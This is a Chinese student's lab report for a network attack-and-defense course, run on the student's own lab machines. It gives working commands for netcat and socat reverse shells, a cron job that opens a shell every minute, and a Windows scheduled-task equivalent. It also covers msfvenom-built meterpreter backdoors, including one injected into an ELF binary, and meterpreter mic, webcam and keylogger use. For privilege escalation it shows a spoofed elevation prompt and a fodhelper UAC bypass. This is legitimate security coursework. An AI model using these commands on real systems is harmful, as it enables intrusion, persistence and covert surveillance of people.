20222420 2024-2025-1 《网络与系统攻防技术》实验二实验报告
20222420 2024-2025-1 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1 本周学习内容
1.1.1 后门介绍
- 后门概念:不经过正常认证流程而访问系统的通道
- 后门类型:编译器、操作系统、应用程序中的后门,潜伏于OS或伪装成APP的后门程序
1.1.2 后门案例
- 编译器后门:Xcode
- 操作系统后门:shellshock
- 固件后门:BIOS中隐藏Telnet后门、打印机后门
- 硬件后门:Meltdown漏洞(CPU漏洞)
- 应用程序后门:旧版本的华硕软件、SolarWinds旗下的Orion网络监控软件、Log4shell漏洞
1.1.3 后门技术
- 管控功能实现技术
- 自启动技术
- 进程隐藏技术
1.2 实验任务
- 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
非正规渠道下载Photoshop。 - 例举你知道的后门如何启动起来(win及linux)的方式?
windows下设置任务计划,linux下设置cron。 - Meterpreter有哪些给你映像深刻的功能?
能获取目标主机的shell,能启用目标主机的摄像头并传回拍摄的照片,能启用目标主机的录音器并传回录制的音频,能获取目标主机的击键记录,能在一定情况下提升在目标主机中的权限。 - 如何发现自己有系统有没有被安装后门?
查看进程,抓包分析,专业杀毒软件扫描,查看任务计划表。
3.实验过程
3.1 设置linux的cron,windows使用netcat获取linux的Shell
- 在不设置linux的cron的情况下,windows使用netcat获取linux的Shell
使用反弹连接:攻击者windows设置监听端口,被害主机linux发起请求并将标准输入输出重定向到该端口- 攻击者windows设置监听端口
ncat -l -p 2420
# ncat代表netcat;-l代表监听;-p代表端口,其后为端口号
- 被害主机linux发起请求
nc 192.168.1.114 2420 -e /bin/sh
# nc代表netcat,其后为攻击者的IP和监听端口;-e代表指定一个程序来执行,该程序的标准输入、输出和错误输出将被重定向到网络连接上,其后为指定的程序
- 结果:通过以上配置,在不设置linux的cron的情况下,windows使用netcat成功获取linux的Shell。
- 攻击者windows设置监听端口
- 在设置linux的cron的情况下,windows使用netcat获取linux的Shell
- 攻击者windows设置监听端口
ncat -l -p 2420
# ncat代表netcat;-l代表监听;-p代表端口,其后为端口号 - 被害主机linux设置cron,定时发起请求
crontab -e
# (创建并)打开crontab文件,其用于定义定时任务
- 选择vim.basic编辑器
- 在文件的最下面添加一行crontab条目
敲击i以进入编辑模式,敲击ESC退出编辑模式,在查看模式下输入:wq以保存并退出。
* * * * * nc 192.168.150.1 2420 -e /bin/sh
# 第一个代表每分钟,第二个代表每小时,第三个代表每日,第四个代表每月,第五个代表不分星期几;每个均可以替换为具体的时间。其后跟着被害主机linux发起请求的命令。
- 结果:通过以上配置,在设置linux的cron的情况下,windows使用netcat成功获取linux的Shell。
虽然linux上并未有反应但windows已经获取了linux的Shell
- 攻击者windows设置监听端口
3.2 设置windows的任务计划,linux使用socat获取windows的Shell
- 在不设置windows的任务计划的情况下,linux使用socat获取windows的Shell
使用反弹连接:攻击者linux设置监听端口,被害主机windows发起请求并将标准输入输出重定向到该端口- 攻击者linux设置监听端口
socat TCP-LISTEN:2420 -
# TCP-LISTEN:代表监听TCP连接,其后为端口号。最后的-不能少
- 被害主机windows发起请求
\Users\86199\Desktop\socat\socat\socat.exe exec:cmd.exe,pty,stderr TCP:192.168.150.172:2420
# 将cmd.exe的输入输出重定向到192.168.150.1的2420端口 - 结果:通过以上配置,在不设置windows的任务计划的情况下,linux使用socat成功获取windows的Shell。
- 攻击者linux设置监听端口
- 在设置windows的任务计划的情况下,linux使用socat获取windows的Shell
- 攻击者linux设置监听端口
socat TCP-LISTEN:2420 -
# TCP-LISTEN:代表监听TCP连接,其后为端口号
- 被害主机windows设置任务计划,定时发起请求
- 打开“计算机管理”->“系统工具”->“任务计划程序”,点击“创建任务”
- 在“触发器”下设置触发时间,在“操作”下设置软件和参数,最后点击确定
参数为exec:powershell.exe,pipes TCP:192.168.150.172:2420
- 结果:通过以上配置,在不设置windows的任务计划的情况下,linux使用socat成功获取windows的Shell。
- 攻击者linux设置监听端口
3.3 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到windows并运行,获取windows的Shell
- 攻击者linux下使用命令msfvenom生成一个.exe格式的后门程序
被害主机windows执行该程序时发起请求,连接到LHOST指定的IP和LPORT指定的端口
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe
# -p代表有效载荷类型,以确定用途;LHOST、LPORT代表监听者即攻击者的IP地址、端口;-f代表输出格式;>将msfvenom命令的输出重定向到一个名为20222420_backdoor.exe的文件
- 使用netcat将后门程序发送到Windows
windows监听(使用cmd)并将数据保存:ncat -l -p 2420 > \Users\86199\Desktop\20222420_backdoor.exe
linux请求并将数据发送:nc 192.168.1.101 2420 < 20222420_backdoor.exe
- 攻击者linux使用MSF监听
msfconsole
use exploit/multi/handler
# 进入监听模块
set payload windows/x64/meterpreter/reverse_tcp
# 设置攻击载荷为64位Windows的反弹TCP连接
set LHOST 192.168.150.172
# 设置攻击者的IP地址,请与后门程序的LHOST参数保持一致
set LPORT 2420
# 设置端口号 # 设置攻击者的PORT,请与后门程序的LPORT参数保持一致
exploit
- 被害主机windows运行后门程序,被获取shell
3.4 利用后门,使用MSF meterpreter获取windows的录音、摄像功能和击键记录,并尝试提权
- 获取被害主机windows的录音功能
record_mic -d 5
# -d 5代表录制5秒
- 获取被害主机windows的摄像功能
webcam_snap
- 获取被害主机windows的击键记录
keyscan_start
# 开始记录键盘敲击记录
keyscan_dump
# 显示捕捉到的键盘记录信息
keyscan_stop
# 停止记录键盘敲击记录
- 提升在被害主机windows中的权限
提权命令为getsystem
,但因Windows的UAC(用户账户控制)阻止程序执行有关系统更改的任务而无法成功。在shell下输入whoami可知当前为普通用户
- 方法一,被害主机windows主动以管理员身份运行后门程序
- 方法二,使用exploit/windows/local/ask模块,向windows询问权限
background
# 将连接会话放到后台
use exploit/windows/local/ask
# 使用请求模块
set session 1
# 表示接下来的操作将针对编号为1的会话(即background的会话)进行
set FILENAME WindowsUpdater.exe
# 将显示的请求者设置为WindowsUpdater.exe
run
# 运行,将在windows中弹出请求
被害者点击“是”后,攻击者便可以提升权限了
- 方法三,通过FodHelper注册表项,使用exploit/windows/local/bypassuac_fodhelper模块
use exploit/windows/local/bypassuac_fodhelper
set session 1
run
然后提权便能成功
- 方法一,被害主机windows主动以管理员身份运行后门程序
3.5 使用MSF meterpreter生成shellcode,注入到实验1的pwn1,获取反弹连接Shell
因为pwn1是elf格式的可执行文件只能在Linux上执行,所以决定用linux攻击linux。
-
在攻击者下使用MSF meterpreter生成shellcode,注入到实验1的pwn1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -x pwn1 -f elf > pwn2-20222420
-
攻击者使用MSF监听,被害者运行被注入后的文件,获取被害主机的shell
msfconsole
use exploit/multi/handler
# 进入监听模块
set payload linux/x86/meterpreter/reverse_tcp
# 设置攻击载荷为32位Windows的反弹TCP连接
set LHOST 192.168.150.172
# 设置攻击者的IP地址,请与后门程序的LHOST参数保持一致
set LPORT 2420
# 设置端口号 # 设置攻击者的PORT,请与后门程序的LPORT参数保持一致
exploit
再开一个终端或一个kali虚拟机,运行被注入后的文件,结果如下,攻击成功
4.问题及解决方案
- 问题1:第二部分windows主动连接到攻击者linux后弹窗并显示警告。
- 问题1解决方案:经过尝试,发现并不影响linux获取windows的shell。
- 问题2:将后门传输到windows后发现无法运行。
- 问题2解决方案:经过查询发现是因为windows通过powershell接收后相对原文件有变化,改用cmd终端接收后就正常了。
- 问题3:第四部分尝试提权时发现无法通过exploit/windows/local/bypassuac_injection模块进行内存注入。
- 问题3解决方案:通过报错信息知晓这一模块对于windows10以上的系统不适用,于是改用注册表项绕过Windows UAC保护。
5.学习感悟、思考等
从使用netcat和socat获取主机操作Shell,到利用cron和任务计划启动自定义任务,再到使用MSF meterpreter生成后门并执行各种功能,这一系列操作不仅让我对网络安全攻击手段有了更直观的认识,也提升了我的实战技能。在实验过程中,我遇到了不少挑战,但通过网上大量的资料,我成功解决了遇到的问题并学习到了更加丰富的知识。
通过这次实验,我深刻认识到了网络安全的重要性和复杂性。网络攻击者可以利用各种手段和技术来攻击我们的系统,窃取我们的信息,控制我们的摄像头、录音器等,甚至还能提升自己的权限。同时,我也深刻体会到了学习和实践的重要性。在面对网络安全时,仅仅依靠书本上的理论知识是远远不够的,必须通过实践来加深对知识的理解,通过实战来锻炼自己的技能。